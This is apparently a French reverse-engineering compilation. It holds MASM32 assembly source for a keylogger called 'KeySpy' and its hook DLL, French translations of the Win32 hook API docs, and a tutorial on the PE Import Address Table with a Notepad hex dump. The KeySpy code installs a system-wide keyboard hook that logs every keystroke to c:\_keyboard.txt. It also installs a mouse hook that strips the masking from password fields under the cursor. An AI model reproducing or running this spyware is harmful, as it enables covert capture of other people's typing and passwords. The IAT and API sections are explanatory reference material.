    ecrireFichier	PROTO :DWORD

    ;---------------------- MACRO -------------
      szText MACRO Name, Text:VARARG
        LOCAL lbl
          jmp lbl
            Name db Text,0
          lbl:
        ENDM

      m2m MACRO M1, M2
        push M2
        pop  M1
      ENDM

      return MACRO arg
        mov eax, arg
        ret
      ENDM
    ;--------------------------------------------

.data
    AppName			db "AppName",0
        CommandLine   		dd 0
        hInstance		dd 0
    NomMenu                 db "PremierMenu",0
    szDisplayName 		db "KeySpy",0

.data?
    hwnd                    HANDLE ?
    hMenu                   HANDLE ?
    Buffer                  db 50 dup (?)
        hWnd          		HANDLE ?
        hIcon			dd ?

.const
    ID_EXIT                 equ 1000	;
    ID_HOOKKEYBOARD         equ 1001	;
    ID_UNHOOKKEYBOARD       equ 1002	;
    ID_HOOKMOUSE		equ 2001	;
    ID_UNHOOKMOUSE		equ 2002	;

    WM_KEYHOOKED        	equ WM_CHAR+100h		;message envoyé par le hook dans la file
                                ;d'attente des messages du lien principal

.code

start:

      invoke GetModuleHandle, NULL
      mov hInstance, eax

      invoke GetCommandLine
      mov CommandLine, eax
      invoke WinMain,hInstance,NULL,CommandLine,SW_SHOWDEFAULT
      invoke ExitProcess,eax

; #########################################################################

WinMain proc hInst     :HINSTANCE,
             hPrevInst :HINSTANCE,
             CmdLine   :LPSTR,
             CmdShow   :DWORD

      ;====================
      ; Put LOCALs on stack
      ;====================

      LOCAL wc   :WNDCLASSEX
      LOCAL msg  :MSG
      LOCAL Wwd  :DWORD
      LOCAL Wht  :DWORD
      LOCAL Wtx  :DWORD
      LOCAL Wty  :DWORD

      ;==================================================
      ; Fill WNDCLASSEX structure with required variables
      ;==================================================

      invoke LoadIcon,hInst,NULL
      mov hIcon, eax

      szText szClassName,"Project_Class"

      mov wc.cbSize,         sizeof WNDCLASSEX
      mov wc.style,          CS_HREDRAW or CS_VREDRAW \
                             or CS_BYTEALIGNWINDOW
      mov wc.lpfnWndProc,    offset WndProc
      mov wc.cbClsExtra,     NULL
      mov wc.cbWndExtra,     NULL
      m2m wc.hInstance,      hInst
      mov wc.hbrBackground,  COLOR_BACKGROUND + 1
      mov wc.lpszMenuName,   NULL
      mov wc.lpszClassName,  offset szClassName
      m2m wc.hIcon,          hIcon
      invoke LoadCursor,NULL,IDC_ARROW
      mov wc.hCursor,        eax
      m2m wc.hIconSm,        hIcon

      invoke RegisterClassEx, ADDR wc

      invoke CreateWindowEx,WS_EX_LEFT or WS_EX_ACCEPTFILES,
                            ADDR szClassName,
                            ADDR szDisplayName,
                            WS_TILEDWINDOW,
                            100,100,135,42,
                            NULL,NULL,
                            hInst,NULL
      mov   hWnd,eax
      mov   hwnd,eax
      invoke LoadMenu, hInst, addr NomMenu
      mov hMenu, eax
      invoke SetMenu, hWnd, hMenu
      invoke ShowWindow,hWnd,SW_SHOWNORMAL
      invoke UpdateWindow,hWnd

      ;===================================
      ; Loop until PostQuitMessage is sent
      ;===================================

    .WHILE TRUE
                INVOKE GetMessage, ADDR msg,NULL,0,0
                .BREAK .IF (!eax)

                INVOKE TranslateMessage, ADDR msg
                INVOKE DispatchMessage, ADDR msg
    .ENDW
      return msg.wParam

WinMain endp

; #########################################################################

WndProc proc hWin   :DWORD,
             uMsg   :DWORD,
             wParam :DWORD,
             lParam :DWORD

    .if uMsg == WM_COMMAND
        ;****************BOUTONITEM***********************
        mov eax,wParam					;*
        .if lParam==0					;*
                            ;*
            .if ax==ID_HOOKKEYBOARD			;*
                invoke  InstallHookKeyboard,hWnd	;* le hook est lancé
                            ;*
            .elseif ax==ID_UNHOOKKEYBOARD		;*
                invoke  UninstallHookKeyboard		;* le hook est terminé
                            ;*
        .elseif ax==ID_HOOKMOUSE			;*
        invoke InstallHookMouse,hWnd		;*
                            ;*
        .elseif ax==ID_UNHOOKMOUSE			;*
        invoke UninstallHookMouse		;*
                            ;*
            .else					;*
                invoke DestroyWindow,hWnd		;*
            .endif					;*
       .endif						;*
        ;*************************************************

    .elseif uMsg == WM_KEYHOOKED    				; signifie que c'est mon hook qui a intercepté puis posté cette frappe clavier
                mov eax, lParam				;
                    and eax, 10000000000000000000000000000000b ; 80000000h regarde si le bit n°31 (0-31) est à 1 (0=touche enfoncée, 1=touche relâchée)
                    .if eax==0h                		; si ce byte est 00h c'est que la touche vient d'être enfoncée
                          invoke ecrireFichier, wParam	; wParam contient le code de la touche tapée (ex: 65 décimal='A')
                    .endif
    .elseif uMsg == WM_DESTROY

        invoke PostQuitMessage,NULL
        return 0
    .endif

    invoke DefWindowProc,hWin,uMsg,wParam,lParam
    ret
WndProc endp
;----------------------------------------------------------------------------------------------

;------------------COPIE DU TEXTE ESPIONNÉ DANS UN FICHIER .TEXTE-------------------------------
ecrireFichier proc lettre:DWORD
        LOCAL hFichier			:HANDLE
        LOCAL nb_carac			:DWORD
        LOCAL rentrer			:BYTE
    LOCAL reel_lu_ecrit		:DWORD
    LOCAL tableau256byte[256]	:BYTE
    LOCAL layout			:DWORD
    LOCAL vk			:DWORD
    LOCAL lettreAcopier[10]		:BYTE
    LOCAL delete			:DWORD

    jmp data_locales
        NomFichier		db "c:\_keyboard.txt",0
    data_locales:

    ;#################################################
    ; Après que la DLL aie capturée le code des touches tapées par l'utilisateur, elle renvoie au
    ; programme principal le code virtuel de la touche (VIRTUAL-KEY CODE). Cependant le
    ; Virtual-Key Code est le même pour les touches majuscules et minuscule. Pas de différence entre
    ; 'a' et 'A'. Donc ici je regarde en plus les états de SHIFT, CAPSLOCK et AUTRES et si elles NE
    ; SONT PAS en action, alors on ajoute la valeur 32 décimale pour passer de 'A'=65 à 'a'=97 et
    ; ainsi de suite. (par défaut on obtient toujours des codes en majuscule)

    invoke GetKeyboardLayout, 0
    mov layout, eax
    invoke GetKeyboardState, addr tableau256byte
    invoke MapVirtualKeyEx, lettre, 2, layout
    mov vk, eax
    invoke ToAsciiEx, vk, lettre, addr tableau256byte, addr Buffer, 0, layout
    ; en retour 'Buffer' contient un caractère comme 'a' ou 'A'

    mov nb_carac, 1

    mov eax, dword ptr [Buffer]			; la lettre tapée est mise dans eax (dans al en fait)
    mov rentrer, TRUE

    .if al==0Dh					; C'est la touche Enter
        mov nb_carac, 2
        mov word ptr [lettreAcopier],0A0Dh

    .elseif al==08h					; c'est la touche delete (arrière)
        sub delete, 2
        mov rentrer, FALSE

    .elseif al==2Eh					; c'est la touche suppr (avant)
        ;sub delete, 2

    .elseif al==25h					; c'est la touche déplacement (arrière)
        sub delete, 2
        mov rentrer, FALSE

    .elseif al==VK_SHIFT || al==VK_CAPITAL		;  ou
        mov rentrer, FALSE

    .elseif al==VK_MENU				; c'est la touche
        mov nb_carac, 5
        mov dword ptr [lettreAcopier],'TLA<'
        mov byte ptr [lettreAcopier+4],'>'

    .elseif (lettre>=65d && lettre<=90d) || \	; les lettre de 'a' à 'z' et de 'A' à 'Z'
        (lettre>=30h && lettre<=39h)		; les chiffres de '0' à '9' du clavier Alpha
        mov byte ptr [lettreAcopier], al

    .elseif (lettre>=60h && lettre<=69h) 		; les chiffres de '0' à '9' du pavé numérique.
        mov eax, lettre
        sub eax, 30h
        mov byte ptr [lettreAcopier], al

    .elseif (lettre>=32d && lettre<=47d)
        mov byte ptr [lettreAcopier], al

    .else
        mov rentrer, FALSE
    .endif
    ;############################################

    invoke CreateFile, addr NomFichier,\
                           GENERIC_READ or GENERIC_WRITE ,\
                           FILE_SHARE_READ or FILE_SHARE_WRITE,\
                           NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,\
                           NULL

        mov hFichier, eax
        invoke SetFilePointer, hFichier, delete, 0, SEEK_END
        invoke OpenFile, ADDR NomFichier, NULL, OF_READWRITE
        invoke WriteFile, hFichier, addr lettreAcopier, nb_carac, addr reel_lu_ecrit, NULL
        invoke CloseHandle, hFichier

Ret
ecrireFichier endp
;----------------FIN COPIE DU TEXTE ESPIONNÉ DANS UN FICHIER .TEXTE-----------------------------

end start


MouseProc (Win32)

LRESULT CALLBACK MouseProc(nCode, wParam, lParam)

int nCode;	/* code hook */
WPARAM wParam;	/* identificateur du message */
LPARAM lParam;	/* coordonnées de la souris */
La procédure de hook MouseProc est fonction callback prédéfini dans l'application ou une bibliothèque que le système appellera à chaque fois que l'application appelle les fonctions GetMessage ou PeekMessage et qu'un message souris à traiter est présent.

Paramètre 	 Description

nCode 	 	 Est le code que la procédure de hook peut employer pour déterminer comment
         traiter le message. Ce paramètre peut être une des valeurs suivantes :

          Valeur 	 Signification

          HC_ACTION 	 Indique les  paramètres wParam et lParam contiennent
                   l'information d'un message souris.
          HC_NOREMOVE 	 Indique les paramètres wParam et lParam contiennent
                  l'information d'un message souris et que ce message
                 souris n'a pas été enlevé de la file d'attente des messages.
                 (L'application a appelé la fonction PeekMessage, en spécifiant
                 le flag PM_NOREMOVE.)

          Si le paramètre nCode est négatif, la procédure de hook doit passer le message
         à CallNextHookEx sans le traiter et retourner la valeur revoyée par
         CallNextHookEx.

wParam 	 	 Contient ce qui identifie le message souris.
lParam 	 	 Pointe sur une structure MOUSEHOOKSTRUCT.

Retours
La procédure de hook doit retourner un NULL pour permettre au système de traiter le message; il doit retourner un 1 pour renoncer au message.

Commentaires

Cette procédure de hook ne doit pas installer la fonction callback JournalPlaybackProc.

L'application doit installer la procédure de hook en spécifiant le type de hook WH_MOUSE et l'adresse de la procédure de hook en appelant la fonction SetWindowsHookEx.
MouseProc est un placeholder du nom de la fonction contenue dans l'application ou une bibliothèque. Le nom réel doit être exporté en l'incluant dans la déclaration d'EXPORTATIONS (dans un fichier *.def).

Voir Aussi

CallNextHookEx, GetMessage, PeekMessage, SetWindowsHookEx


KeyboardProc (Win32)

LRESULT CALLBACK KeyboardProc(nCode, wParam, lParam)

int nCode;	/* code de hook */
WPARAM wParam;	/*code virtuel de la touche */
LPARAM lParam;	/* information sur le message de mouvement de la touche */
La procédure de hook KeyboardProc est une fonction callback qu'on définit dans l'application ou une bibliothèque que le système appelle à chaque fois qu'une application appelle les fonctions GetMessage ou PeekMessage et qu'est présent un message clavier (WM_KEYUP ou WM_KEYDOWN) à traiter.

Paramètre 	 Description

nCode 	 	 Est un code que la procédure de hook peut employer pour déterminer comment
         traiter le message. Ce paramètre peut être une des valeurs suivantes :

          Valeur 	 Signification

          HC_ACTION 	 Indique que les paramètres wParam et lParam contiennent
                  l'information d'un message de frappe sur une touche.
          HC_NOREMOVE 	 Indique que les paramètres wParam et lParam contiennent
                  l'information d'un message de frappe et que ce message
                 de frappe n'a pas été enlevé de la file d'attente des
                 messages. (L'application a appelé la fonction PeekMessage,
                 en spécifiant le flag PM_NOREMOVE.)

          Si le paramètre nCode est négatif, la procédure de hook doit passer le message
         à CallNextHookEx sans le traiter et retourner la valeur renvoyé par
         CallNextHookEx.

wParam 	 	 Représente le code virtuel de la touche qui a produit le message de frappe.
lParam 	 	 Représente le nombre de répétitions, le scan code, le flag (extended-key) ,
         le code 'context', le flag d'état précédent de la touche et le flag d'état
         de transition, comme le montre la table suivante :

         Valeur  Description

         0-15	 De 0 à 15 bit, est comptenu le nb de répétition. Cette valeur est le
              nombre de fois que la de répétition de frappe ininterrompues (où
             l'utilisateur maintenant la touche enfoncée).
         16-23	 Spécifie le scan code. Cette valeur dépend du fabricant de
              l'équipement d'origine (OEM).
         24	 Spécifie si la touche est une touche-extra, comme une touche fonction
              (CTRL…) ou une touche appartenant au clavier numérique. La valeur
             est 1 si c'est une touche-extra; autrement, c'est 0.
         25-28	 Réservé.
         29	 Représente le code 'context'. La valeur est 1 si la touche ALT est
              pressée; autrement, c'est 0.
         30	 Représente l'état précédent de la touche. La valeur est 1 si la touche
              est pressée avant que le message ne soit envoyé, ou 0 dans l'autre cas.
         31	 Représente l'état de transition. La valeur est 0 si la touche est en
              train d'être enfoncée et 0 aussi si elle est en train d'être relâchée.

Retours
La procédure de hook doit renvoyer un TRUE pour que Windows stoppe le passage du message au reste de la chaîne de hook ou bien à la procédure de fenêtre cible. La procédure de hook doit retourner un FALSE pour permettre à Windows de passer le message à la procédure de fenêtre cible, contournant ainsi les procédures restantes dans la chaîne.

Commentaires

L'application doit installer la procédure de hook en spécifiant le type de hook WH_KEYBOARD et l'adresse de la procédure de hook en appelant la fonction SetWindowsHookEx.

KeyboardProc est un placeholder du nom de la fonction fourni dans l'application ou bien dans une bibliothèque. Le nom réel doit être exporté en l'incluant dans la déclaration d'EXPORTATIONS (dans un fichier *.def).

Voir Aussi

CallNextHookEx, GetMessage, PeekMessage, SetWindowsHookEx


dll

.386
.model flat,stdcall
option casemap:none

include 	\masm32\include\windows.inc
include 	\masm32\include\kernel32.inc
include 	\masm32\include\user32.inc

includelib 	\masm32\lib\kernel32.lib
includelib 	\masm32\lib\user32.lib

.data
    hInstance		dd 0
    ClassName		db "Project_Class",0

.data?

    hHook			dd ?
    hHookM			dd ?
    hWnd			dd ?
    hwnd_Prog_exe	HANDLE ?

.const
    WM_KEYHOOKED		equ WM_CHAR+100h	;message intercepté par le hook Clavier
    WM_MOUSEHOOKED		equ WM_USER+100h

.code
    DllEntry proc hInst:HINSTANCE, reason:DWORD, reserved1:DWORD
        push hInst
        pop hInstance
        mov  eax,TRUE
        ret
    DllEntry Endp

    InstallHookMouse proc hwnd:DWORD
        push hwnd
        pop hWnd
        invoke SetWindowsHookEx,WH_MOUSE,addr MouseProc,hInstance,NULL
        mov hHookM,eax
        ret
    InstallHookMouse endp

;---------------------------------------------------------------------------------------
    MouseProc proc nCode:DWORD,wParam:DWORD,lParam:DWORD

        invoke CallNextHookEx,hHookM,nCode,wParam,lParam
        mov edx,lParam						;move mouse coordinates in edx
        assume edx:PTR MOUSEHOOKSTRUCT
        invoke WindowFromPoint,[edx].pt.x,[edx].pt.y	;get handle of window from mouse coordinates/point
        assume edx:nothing

        mov wParam, eax
        invoke	GetWindowLongA, wParam, GWL_STYLE
        test eax, ES_PASSWORD

        jz Ce_Nest_Pas_Un_Champs_Password

                invoke	SendMessage, wParam, EM_SETPASSWORDCHAR, 0, 0
                invoke	InvalidateRect, wParam, 0, 0

        Ce_Nest_Pas_Un_Champs_Password:

        xor eax,eax
        ret
    MouseProc endp
    ;---------------------------------------------------------------------------------------

    UninstallHookMouse proc
        invoke UnhookWindowsHookEx,hHookM
        ret
    UninstallHookMouse endp

    InstallHookKeyboard proc hwnd:DWORD
        push hwnd
        pop hWnd
        invoke SetWindowsHookEx,WH_KEYBOARD,addr KeyboardProc,hInstance,NULL
        mov hHook,eax
        ret
    InstallHookKeyboard endp

    ;---------------------------------------------------------------------------------------
    KeyboardProc proc nCode:DWORD,wParam:DWORD,lParam:DWORD
        invoke CallNextHookEx,hHook,nCode,wParam,lParam			; Intercepte le code de la touche enfoncée

            ; wParam est le Virtual-key Code de la touche frappée
            ; lParam son context, comme est-ce que ALT est enfoncé en même temps.

        invoke FindWindow, addr ClassName, NULL
        mov hwnd_Prog_exe, eax

            invoke	SendMessage, hwnd_Prog_exe, WM_KEYHOOKED, wParam, lParam
                                        ; wParam est le code de cette touche (ex : 65h ='a')
                                        ; lParam contient plusieurs autres info comme
                                        ; le nb de répétitions, les associations (SHIFT+touche)
            invoke  GetActiveWindow					; je récupère le handle de la fenêtre active (celle qui est en train de se faire espionner)
            invoke	SendMessage, eax, WM_CHAR, wParam, lParam	; et je lui réinjecte le message que j'avais intercepté (Sinon rien ne va s'écrire à l'écran)
                                        ;
            mov eax, eax
        ret
    KeyboardProc endp
    ;---------------------------------------------------------------------------------------

    UninstallHookKeyboard proc
        invoke UnhookWindowsHookEx,hHook
        ret
    UninstallHookKeyboard endp

End DllEntry


CallNextHookEx (new for Win32)

LRESULT CallNextHookEx(hhk, nCode, wParam, lParam)

HHOOK hhk;	/* handle du hook courant */
int nCode;	/* code du hook à passer à la procédure de hook */
WPARAM wParam;	/* wParam à passer à la procédure de hook */
LPARAM lParam;	/* lParam à passer à la procédure de hhok */

La fonction CallNextHookEx passe l'information de hook à la prochaine procédure de hook.

Paramètre 	 Description

hhk 	 	 Identifie le hook courant . L'application reçoit cet handle suite à un Call
         précédent de la fonction SetWindowsHookEx.
nCode 	 	 Représente le code de hook a passer à la procédure de hook. La procédure de
         hook utilise ce code pour savoir ce qu'on souhaite faire de cette information
         de hook. (la procédure de hook traite le code de hook, comme une procédure de
         fenêtre traite les messages de fenêtres WM_)
wParam 	 	 Représente le paramètre wParam a passer à la procédure de hook.
         La signification de ce paramètre dépend du type de hook associé à la chaîne
         de hook courante.
lParam 	 	 Représente le paramètre lParam a passer à la procédure de hook.
         La signification de ce paramètre dépend du type de hook associé à la chaîne
         de hook courante.

Retours
La valeur en retour est la valeur renvoyée par la procédure de hook. Le la procédure de hook suivante doit aussi renvoyer cette valeur. La signification de la valeur en retour dépend du type de hook. Pour plus d'informations, voyez les descriptions individuelles de chacune des procédures hook.

Commentaires

Les procédures de hook sont installées à la chaîne pour des types de hook particuliers. CallNextHookEx appelle le hook suivant dans la chaîne.

L'appel de la fonction CallNextHookEx est facultatif. Une procédure de hook peut appeler cette fonction soit avant soit après la fin du traitement de l'information de hook. Si une procédure de hook n'appelle pas CallNextHookEx, Windows n'appellera pas les procédures de hook qui ont été installées avant le la procédure de hook courante.

Voir Aussi

SetWindowsHook, SetWindowsHookEx, UnhookWindowsHook, UnhookWindowsHookEx


IMPORT ADDRESS TABLE (IAT)

IAT : TABLE D'ADRESSES DES IMPORTATIONS
DE FONCTIONS

I - Structure de l'Import Address Table
II - Ajoutez vos propres DLL ou Fonctions manuellement.
III - Les IAT hors normes.
IV - Les différents liens .
V - Programme d'automatisation.

Voici également le fichier Rar avec des sources

Cette table ne fait pas partie du PE Header. C'est une section à part entière souvent appelée .idata ou parfois .rdata. On peut même trouver les deux ensembles, mais je ne pourrais pas vous dire pourquoi, je ne suis pas allé aussi loin dans mes recherches.
Le rôle de cette section est vital. Pour faire simple, elle contient les noms des DLLs et de chacune de leurs fonctions utilisées par votre programme.
En pratique si votre programme utilise seulement ExitProcess (de Kernel32.dll) et MessageBoxA (User32.dll), ils sont tous inscrits dans cette section et vous ne pouvez utiliser aucune des autres fonctions de Kernel ou User32 parce que même si elles existent (et elles existent), elles ne sont pas notifiées dans ce carnet de bord. Vous pouvez encore moins utiliser des fonctions provenant d'autres DLLs.

Sachez une dernière chose, les fonctions importées, sont retrouvées soit d'après leur nom soit d'après un numéro. Celui-ci est appelé l'ORDINAL de la fonction.

Quel est l'intérêt ?

C'est qu'en comprenant sa construction on va pouvoir rajouter des fonctions dont nous ne pouvions pas nous servir jusque là, pour par exemple reverser une partie d'un programme. Mieux encore, on va pouvoir rajouter le nom d'une DLL et de ses fonctions, construite par nous même et ainsi vraiment développer ce qui nous tient à coeur.

SECTION .idata
1er DWORD | Original First Thunk | (c'est un RVA)
2nd DWORD | Date Time Stamp | (c'est un RVA)
3e DWORD | Forwarder Chain | FFFFFFFFh
4e DWORD | Name | (c'est un RVA)
5e DWORD | First Thunk | (c'est un RVA)
 IMAGE_IMPORT_DESCRIPTOR
1er DWORD | Original First Thunk | (c'est un RVA)
2nd DWORD | Date Time Stamp | (c'est un RVA)
3e DWORD | Forwarder Chain | FFFFFFFFh
4e DWORD | Name | (c'est un RVA)
5e DWORD | First Thunk | (c'est un RVA)
 IMAGE_IMPORT_DESCRIPTOR
........
....... Il existe autant de structures IMAGE_IMPORT_DESCRIPTOR qu'il y a de DLL appellées par votre programme
.... + un dernier IMAGE_IMPORT_DESCRIPTOR remplit de 5 DWORD NULL en tant que terminaison
..

DWORD 1 | (c'est un RVA (ou Ordinal))
DWORD 2 | (c'est un RVA (ou Ordinal))
DWORD 3 | (c'est un RVA (ou Ordinal))
DWORD ... | (c'est un RVA (ou Ordinal))
DWORD n | (c'est un RVA (ou Ordinal))
DWORD NULL | 00000000h
 IMAGE_THUNK_DATA Le vrai nom c'est bien IMAGE_THUNK_DATA mais par abus de langage je péfère appeler la totalités de ces groupes ORIGINAL_FIRST_THUNK parce que ce sont les membres OriginalFirstThunk qui pointent sur chacun d'eux. Idem pour FIRST_THUNK
IMAGE_THUNK_DATA
IMAGE_THUNK_DATA
IMAGE_THUNK_DATA
IMAGE_THUNK_DATA
NULL
DWORD 1 | (c'est un RVA (ou Ordinal))
DWORD 2 | (c'est un RVA (ou Ordinal))
DWORD 3 | (c'est un RVA (ou Ordinal))
DWORD ... | (c'est un RVA (ou Ordinal))
DWORD n | (c'est un RVA (ou Ordinal))
DWORD NULL | 00000000h
 IMAGE_THUNK_DATA
IMAGE_THUNK_DATA
IMAGE_THUNK_DATA
IMAGE_THUNK_DATA
IMAGE_THUNK_DATA
NULL

........
...... Cette fois-ci, pour une DLL en particulier, il y aura autant de IMAGE_THUNK_DATA qu'elle a de fonctions
..... exportées.
.... + un dernier DWORD mis à NULL pour notifier de la fin des données concernant cette DLL. IMAGE_THUNK_DATA
.... donne LES pointeurs vers des structures IMAGE_IMPORT_BY_NAME qui contienent le n°ORDINAL+NOM de la
.... fonction. (C'est pas tout à fait exact, on verra plus tard le cas des Fonctions importés par ORDINAL seul)

WORD | n°Ordinal
TAILLE INDÉFINIE | Nom de la fonction
 IMAGE_IMPORT_BY_NAME
(Pour la 1ere fonction de la DLL 1)
WORD | n°Ordinal
TAILLE INDÉFINIE | Nom de la fonction
 IMAGE_IMPORT_BY_NAME
(Pour la 2e fonction de la DLL 1)
WORD | n°Ordinal
TAILLE INDÉFINIE | Nom de la fonction
 IMAGE_IMPORT_BY_NAME
(Pour la nième fonction de la DLL 1)

WORD | n°Ordinal
TAILLE INDÉFINIE | Nom de la fonction
 IMAGE_IMPORT_BY_NAME
(Pour la 1ere fonction de la DLL 2)
WORD | n°Ordinal
TAILLE INDÉFINIE | Nom de la fonction
 IMAGE_IMPORT_BY_NAME
(Pour la 2e fonction de la DLL 2)
WORD | n°Ordinal
TAILLE INDÉFINIE | Nom de la fonction
 IMAGE_IMPORT_BY_NAME
(Pour la nième fonction de la DLL 2)

...
... Il y a autant de fois de Structures IMAGE_IMPORT_BY_NAME qu'il y a de Fonctions dans la DLL considérée.
... Donc ici on considère que notre programme n'importe que 3 fonctions appartenant à la DLL1 par exemple.
...

DISSECTION :

Dans la section .idata toutes les références pour aller d'une adresse à une autre sont définit par rapport au tout début du programme (MZ). C'est pour ça qu'elle n'utilise que des RVA pour décrire l'emplacement d'une autre adresse. Pour éclaircir ce point, un RVA c'est pas une adresse, c'est un déplacement par rapport à un point fixe. Un RVA c'est une distance tout simplement.

IMAGE_IMPORT_DESCRIPTOR:

Chaque structure IMAGE_IMPORT_DESCRIPTOR est destinée à une DLL. Et elle contient toujours 5 membres de taille DWORD. Le premier et dernier membre (Original First Thunk et First Thunk) pointent sur deux autres structures qui normalement sont identiques. Dans l'exemple ci-dessus je n'ai représenté qu'une seule fois ce tableau mais il y a son double qui le suit normalement et chacun des deux (Original First Thunk et First Thunk) pointe sur un tableau (jumeau)
Date Time Stamp, normalement, il est mis à 00000000h, sauf dans le cas où le programme présente une section "Delay Import Descriptor". Dans ce cas seulement ce dword représente la date complète de création de la DLL. Pour ce que j'en ai compris, "Delay Import Descriptor" serait un équivalent de l'IAT mis à par qu'on y trouverait les véritables adresses des fonctions de la DLL. Et c'est pour ça que sa date de conception devient importante, c'est pour trier les différentes versions d'une même DLL. (Vous remarquerez que "Delay Import Descriptor" n'est pas accessible dans ProcDump, et y en a un autre aussi)
Forwarder Chain est un dword réservé et d'après la doc officielle il doit être mis à FFFFFFFFh cependant, je l'ai déjà rencontré à 00000000h lui aussi.
Name est l'adresse (On parle toujours en adresse relative et c'est vrai pour tout le tut:RVA) où commence la chaîne de caractères représentant le nom de la DLL en question. Cette chaîne sera toujours suivit d'un byte 00h de terminaison. Dans l'exemple, je n'ai pas représenté ou était sa position, cette adresse se trouve à la suite de tous les tableaux, à la fin de la section .idata. Et d'ailleurs cette fin de tableau contient les noms de DLL+00 puis les noms DES Fonctions+00 et on recommence pour la DLL suivante. Cependant, on peut très bien prendre un ordre complètement différent.

IMAGE_THUNK_DATA :

Grâce à ce qui précède, on connait les noms des DLLs utilisées par notre programme. Reste à connaître chacune des fonctions de chaque DLL. C'est le rôle de IMAGE_THUNK_DATA. Chaque DWORD qu'elle contient représente l'adresse où on va retrouver le n°ORDINAL de la fonction + son nom qui le suit tout de suite après.
Un DWORD pointe donc sur : n°ORDINAL(de longueur 1 WORD)+Chaine de caractère(nom d'une fonction)+00h pour la terminaison.
Mais il y a un cas particulier. Ce DWORD n'est pas toujours une adresse vers ces deux données. Si le MSB (le byte de poids fort du DWORD est à 1) alors ça signifie qu'il ne faut pas le considérer comme un RVA. Et dans ce cas seuleument l'autre partie de ce DWORD (le WORD Bas) est le n°ORDINAL de la fonction. Dans cette configuration particulière on n'a pas de nom pour notre fonction. On sait seulement que notre programme l'utilise en se référent à son n°. (Il est possible de retrouver son nom mais alors il faut aller le chercher dans la table d'exportation de la DLL avec le même n° trouvé).

IMAGE_IMPORT_BY_NAME :

Il en existe autant qu'il y a de fonctions, forcément (excepté dans le cas des ordinaux), puisqu'elles contiennent le n° et noms de ces fonctions. La taille de cette structure est non définit puisqu'elle dépend toujours de la longeur des noms qu'elle contient.
Cependant vous trouverez une taille de 3 Bytes si vous lui faites subir un SIZEOF..... Car elle est ainsi définit dans la bibliothèque Windows.inc

IMAGE_IMPORT_BY_NAME STRUCT
Hint dw ? ; <------------------------------n°ORDINAL
Name1 db ? ; <------------------------------Nom de la fonction
IMAGE_IMPORT_BY_NAME ENDS

Mais comprenez que vous ne pouvez et ne devez sûrtout pas accepter cette valeur comme étant viable.

Par Morgatte


IMPORT ADDRESS TABLE (IAT)

LES IAT HORS NORMES

LE CAS : NOTEPAD

L'IAT... mais c'est facile!!! Oups en y regardant de plus près j'ai vraiment fini par changer d'avis!

Voici ci-dessous la section .idata de mon cobaye préféré... Notepad.exe.(Version Fenêtres95, la version 98 est différente, et je suppose que celles qui suivent le sont aussi) Tous les testes seront fait sur lui. Je l'ai décortiqué dans tous les sens. Enfin presque...

Avant toute chose, en utilisant ProcDump : Je trouve le RVA de la table d'importation en 00007000 et parmi le détail des sections je trouve :

Nom de section | Virtual Size | Virtual Offset | Raw Size | Raw Offset | Characteristics
.idata | 00000C9A | 00007000 | 00000C9A | 00004400 | 40000040

00007000 appartient donc bien à cette section .idata
Le point de référence de cette section est 00007000 si on regarde ça du point de vu "adresses mémoire" (Virtual Offset).
Mais si on regarde du point de vue "adresse fichier" (Raw Offset) la référence de la section est en 00004400.
Rappelez vous qu'on doit voir les choses comme HexWorkShop les regarde et lui il se réfère au Raw Offset

00007000 présente un déplacement de 0h par rapport à 00007000h donc si on prend l'autre base de référence en prenant le même déplacement, on se retrouve en 00004400h+00h = 0004400h

Donc l'entrée de la table d'importation vue dans HexWorkShop commence en 00004400h
Attention : ICI le point d'entrée dans l'Import Table se trouve au début de la section (au début de l'IAT), mais ce n'est pas forcément obligatoire comme on l'a vu précédamment . Par exemple si vous compilez un programme avec MASM et bien le point d'entrée dans l'Import Table se trouvera vers le milieu de la section. On aurait pu trouver le RVA de la Table d'Importation en 0000708C au lieu de 00007000 par exemple et du coup le déplacement aurai été de 708C-7000 = 8Ch et vu avec HexWorkShop on aurait vu que le point d'entrée dans l'Import Table aurait été 4400+8C = 448Ch. au lieu de 4400h

Vous pouvez donc être sûr d'un truc, c'est que Notepad.exe n'a pas été codé sous Masm.
Quoi qu'il en soit quand on entre dans l'Import Table la première structure sur laquelle on pointe est le premier IMAGE_IMPORT_DESCRIPTOR.

00004400 | 6071 | 0000 | 64AB | 2F32 | FFFF | FFFF | E874 | 0000 | .'q..d./2.....t.. <-- l'entrée est ici
00004410 | 7073 | 0000 | D070 | 0000 | A01C | 0C32 | FFFF | FFFF | ps...p.....2....
00004420 | E076 | 0000 | E072 | 0000 | 7871 | 0000 | 63E4 | FD2F | .v...r..xq..c../
00004430 | FFFF | FFFF | D67A | 0000 | 8873 | 0000 | 7870 | 0000 | .....z...s..xp..
00004440 | BC83 | F32F | FFFF | FFFF | 167C | 0000 | 8872 | 0000 | .../.....|...r..
00004450 | 6C72 | 0000 | 64AB | 2F32 | FFFF | FFFF | 8C7C | 0000 | lr..d./2.....|..
00004460 | 7C74 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | |t..............
00004470 | 0000 | 0000 | 0000 | 0000 | 0A7C | 0000 | F87B | 0000 | .........|...{..
00004480 | 1C7B | 0000 | F27A | 0000 | 047B | 0000 | 107B | 0000 | .{...z...{...{..
00004490 | E27A | 0000 | 407B | 0000 | 4C7B | 0000 | 367B | 0000 | .z..@|..L{..6{..
000044A0 | 687B | 0000 | 7E7B | 0000 | 587B | 0000 | 9C7B | 0000 | h{..~{..X{...{..
000044B0 | AE7B | 0000 | 8E7B | 0000 | C87B | 0000 | D27B | 0000 | .{...{...{...{..
000044C0 | BA7B | 0000 | 2C7B | 0000 | E47B | 0000 | 0000 | 0000 | .{..,{...{......
000044D0 | F675 | 0000 | EA75 | 0000 | DA75 | 0000 | 0476 | 0000 | .u...u...u...v..
000044E0 | 1E76 | 0000 | 2876 | 0000 | 3676 | 0000 | 1076 | 0000 | .v..(v..6v...v..
000044F0 | AE75 | 0000 | CE75 | 0000 | 5E76 | 0000 | 6876 | 0000 | .u...u..^v..hv..
00004500 | 7476 | 0000 | 8476 | 0000 | 9276 | 0000 | A076 | 0000 | tv...v...v...v..
00004510 | B076 | 0000 | C276 | 0000 | D476 | 0000 | BA75 | 0000 | .v...v...v...u..
00004520 | 8475 | 0000 | 9C75 | 0000 | 9075 | 0000 | 5A75 | 0000 | .u...u...u..Zu..
00004530 | 7475 | 0000 | 6675 | 0000 | 2875 | 0000 | 4875 | 0000 | tu..fu..(u..Hu..
